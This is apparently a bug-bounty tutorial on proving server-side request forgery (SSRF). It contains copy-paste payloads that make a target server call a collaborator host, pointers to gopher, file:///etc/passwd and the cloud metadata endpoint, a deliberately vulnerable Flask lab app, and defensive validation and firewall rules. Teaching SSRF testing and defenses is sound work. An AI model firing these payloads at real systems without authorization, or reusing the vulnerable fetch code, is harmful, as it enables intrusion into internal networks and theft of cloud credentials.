Subtitle: Hands-on PoCs, advanced vectors, lab recipes, hardened snippets, and copy-paste report templates to turn SSRF findings into high-value bounty wins.

What Part 2 contains

• Blind SSRF proof techniques using collaborator services
• Advanced protocol and parser tricks (gopher, file, ftp, etc.) and safe detection
• Document-renderer exploitation patterns and PoC examples (non-destructive)
• A local Docker lab recipe to test SSRF safely
• Hardened mitigation code snippets and network rules
• Copy-paste report templates and triage checklists for fast payouts
• Ethics, red lines, and escalation playbook

Quick recap (one paragraph)

Part 1 covered detection signals and a safe hunting runbook. Part 2 gives you the tools and ready-made artifacts to prove SSRF impact responsibly, run local experiments, and deliver reports triage teams can reproduce fast.

Blind SSRF — collaborator-driven proof (practical)

Blind SSRF is when the application issues outbound requests but doesn't return the response to you. Collaborator services (Burp Collaborator, interactsh) are the safest way to detect these blind callbacks.

Steps — minimal, reliable proof

1. Create a unique collaborator domain. Example: uniqueid.interactsh.com or a Burp Collaborator payload.
2. Construct a candidate request. Use the exact input type the app expects: query param, JSON field, or header.

POST /api/preview HTTP/1.1
Host: target.example
Content-Type: application/json
{"url": "http://uniqueid.interactsh.io/poc"}

1. Send the request and monitor collaborator logs. DNS entries show the server performed DNS resolution; HTTP entries show it made an HTTP call.
2. Correlate timestamps and request IDs. If the app returns any request ID or trace header (X-Request-ID), include it in your report to help triage reproduce the exact log lines.

What to attach in your report (artifacts):

• Collaborator DNS/HTTP logs (screenshot)
• The exact request you sent (curl/Burp raw request)
• Any server-side response or error message
• Timestamps (UTC) and request IDs

Advanced protocol & parser tricks (what to test, safely)

Many parsers accept more than http/https. Test these passively or in lab environments before trying in-scope targets.

gopher://

• Historically used to cause servers to issue raw TCP-like requests (commonly used to talk to Redis, memcached, or other text-based services).
• Safe test: Use collaborator domain via gopher:// only in lab. In-scope tests should avoid attempting to talk to internal services using gopher — instead detect acceptance by observing callbacks or errors.

file:// and local paths

• Can lead to local file reads if the renderer or fetcher honors file URIs.
• Safe test: Use a controlled staging environment. Never attempt file:///etc/passwd on production targets without explicit permission.

ftp://, ldap://, dict://, data:

• Parsers may support them and either trigger network calls or parse content differently. Use collaborator feedback to detect acceptance without trying to retrieve real internal data.

Host header / SNI manipulation

• Some SSRF paths rely on Host header vs. resolved IP differences. If you control an input that influences Host header, the server might reach a different backend.
• Testing: Look for responses or errors that leak internal hostnames. Always favor collaborator evidence over content retrieval.

Document renderers — safe PoC patterns

Renderers (PDF, HTML-to-PDF, image processors) are SSRF-rich. They often fetch images, fonts, or stylesheets when processing user-supplied content.

Safe PoC pattern

1. Create a minimal HTML/PDF containing a single external image reference:

<img src="http://uniqueid.interactsh.io/tracker.png" />

1. Upload/submit it to the renderer endpoint and monitor collaborator logs.
2. If a fetch occurs, capture the timestamp and include it in your report.

Notes: Use one-pixel images or tiny CSS files to minimize load. This proves the renderer performs network fetches without affecting internal systems.

Example PoCs (copy-paste safe payloads)

Below are ready-to-send PoC payloads you can paste into Burp or curl. Replace uniqueid.interactsh.io with your collaborator domain.

Query parameter (GET)

GET /preview?url=http://uniqueid.interactsh.io/poc HTTP/1.1
Host: target.example

JSON body (POST)

curl -s -X POST 'https://target.example/api/preview' \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://uniqueid.interactsh.io/poc"}'

Multipart file upload (PDF)

• Generate a PDF with an external image tag and upload via the web form. Use a 1x1 image hosted on your collaborator domain.

GraphQL input example

mutation { createPreview(input: { sourceUrl: "http://uniqueid.interactsh.io/poc" }) { id } }

Attach collaborator logs and exact raw requests to your report.

[IMAGE: Example curl request + collaborator log side-by-side (annotated)]

Local Docker SSRF lab (runnable)

Spin up a minimal SSRF lab to test exploits safely.

Files included

• docker-compose.yml with two services: vulnerable-app (simple Node/Python app that accepts a URL and fetches it) and interactsh-local (or use public interactsh).

Example docker-compose.yml snippet

version: '3'
services:
  vuln:
    image: python:3.10
    volumes:
      - ./vuln:/app
    working_dir: /app
    command: python app.py
    ports:
      - "8080:8080"

Vulnerable app (pseudo)

from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/preview', methods=['POST'])
def preview():
    url = request.json.get('url')
    r = requests.get(url, timeout=5)
    return 'ok', 200
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Run docker-compose up and use your collaborator service or another container to act as the callback server.

Hardened mitigation snippets (engineer-friendly)

Below are practical, conservative snippets engineers can use. They are intentionally cautious — encourage network-level controls first.

Improved URL validation (Python example)

from urllib.parse import urlparse
import socket, ipaddress
DISALLOWED_RANGES = [
    '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
    '127.0.0.0/8', '169.254.169.254/32'
]
blocked = [ipaddress.ip_network(n) for n in DISALLOWED_RANGES]
def is_safe_url(url):
    p = urlparse(url)
    if p.scheme not in ('http', 'https'):
        return False
    if p.username or p.password:
        return False
    try:
        infos = socket.getaddrinfo(p.hostname, None)
    except Exception:
        return False
    for info in infos:
        ip = ipaddress.ip_address(info[4][0])
        for net in blocked:
            if ip in net:
                return False
    return True

Network & infra rules (quick configs)

Cloud firewall example

• Block destination 169.254.169.254/32 at subnet / VPC level.
• Deny egress to RFC1918 from services that don't need it.

Nginx reverse-proxy rule (example)

# Deny host header that references metadata
if ($http_host ~* "169\.254\.169\.254") {
    return 444;
}

Egress allowlist policy

• Maintain allowlists per-service. Use service mesh or network ACLs to enforce.

Report templates & triage checklist (ready to paste)

Title: Blind SSRF via <endpoint> — server performs outbound requests to attacker-controlled host

Summary: The <endpoint> accepts a URL and caused the application to make an outbound request to an attacker-controlled domain. This behavior can be abused to access internal-only services, cloud metadata, or other sensitive endpoints depending on network posture.

Severity suggestion: High / Critical (explain reasoning)

PoC Steps (safe):

1. Use collaborator uniqueid.interactsh.io.
2. Send: POST <endpoint> with { "url": "http://uniqueid.interactsh.io/poc" }.
3. Observe collaborator log at TIMESTAMP showing a DNS/HTTP hit.

Attachments: collaborator screenshot, raw request, timestamps, any X-Request-ID returned.

Suggested fixes: network egress allowlist, metadata block, URL validation.

Triage checklist for Devs:

• Reproduce using the attached request and timestamp.
• Check egress logs for outbound request and note the originating host/IP.
• Implement network block for metadata and add host validation.

Ethics, scope & red lines

Do NOT:

• Exfiltrate or store credentials or metadata without explicit permission.
• Scan internal-only services aggressively (no port sweeps, no probing beyond the minimal request).
• Escalate or pivot to other accounts.

If you accidentally retrieve sensitive data: stop, notify the program immediately, and follow their disclosure policy.

Appendix — tools, references & further reading

• Burp Collaborator / Burp Suite
• interactsh (https://interactsh.com)
• SSRF resources and writeups (link placeholders)

Extra

• Want to stay updated? I share daily bug bounty tips and real-time bypass techniques on X: @aacle_
• Building something bigger: We're creating Vulncure to help businesses get pentest that actually work — not just check boxes. Check us out: Vulncure